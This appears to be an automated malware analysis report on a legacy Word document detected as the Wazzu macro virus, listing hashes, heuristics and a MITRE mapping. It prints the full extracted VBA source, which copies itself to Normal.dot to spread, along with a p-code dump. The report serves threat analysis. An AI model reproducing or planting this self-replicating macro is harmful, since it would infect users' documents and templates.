Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a02dca5c27727364…

MALICIOUS

Office (OLE)

26.5 KB Created: 1997-04-10 15:47:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-19
MD5: 49a48cf8a9eb33d70281655d8931e7d0 SHA-1: 9bdb23e999c91f9675a0c001c17ed68e3519a91e SHA-256: a02dca5c277273642b0bf06fd8874866abc1c1b32ab5e2138ed67d5289df66c4
108 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro. The AutoOpen macro is designed to copy itself to the Normal.dot template if the current document is not Normal.dot. This technique is often used to establish persistence or to ensure the macro is available for future documents. The ClamAV detection 'Doc.Trojan.Wazzu-47' further supports a malicious classification.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-47 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-47
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2025 bytes
SHA-256: 45cd842991b2c936340a2b3159205e4bdb3a1624b718d7ca2b56bd5cc2159432
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim F$
Dim G$
Dim M$
On Error GoTo -1: On Error GoTo MinSize
F$ = WordBasic.[FileName$]() + ":AutoOpen"
G$ = "Global:AutoOpen"
M$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If M$ = "NORMAL.DOT" Then
WordBasic.MacroCopy G$, F$
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy F$, G$
End If
MinSize:
End Sub

' Processing file: /opt/analyzer/scan_staging/f1a03003b50b44a0a8774a2f93b8abba.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1557 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn False
' Line #3:
' 	Dim 
' 	VarDefn G
' Line #4:
' 	Dim 
' 	VarDefn M
' Line #5:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError MinSize 
' Line #6:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St False$ 
' Line #7:
' 	LitStr 0x000F "Global:AutoOpen"
' 	St G$ 
' Line #8:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroFileName$] 0x0001 
' 	LitDI2 0x000A 
' 	Ld WordBasic 
' 	ArgsMemLd [Right$] 0x0002 
' 	ArgsLd UCase 0x0001 
' 	St M$ 
' Line #9:
' 	Ld M$ 
' 	LitStr 0x000A "NORMAL.DOT"
' 	Eq 
' 	IfBlock 
' Line #10:
' 	Ld G$ 
' 	Ld False$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #11:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #12:
' 	ElseBlock 
' Line #13:
' 	Ld False$ 
' 	Ld G$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	Label MinSize 
' Line #16:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.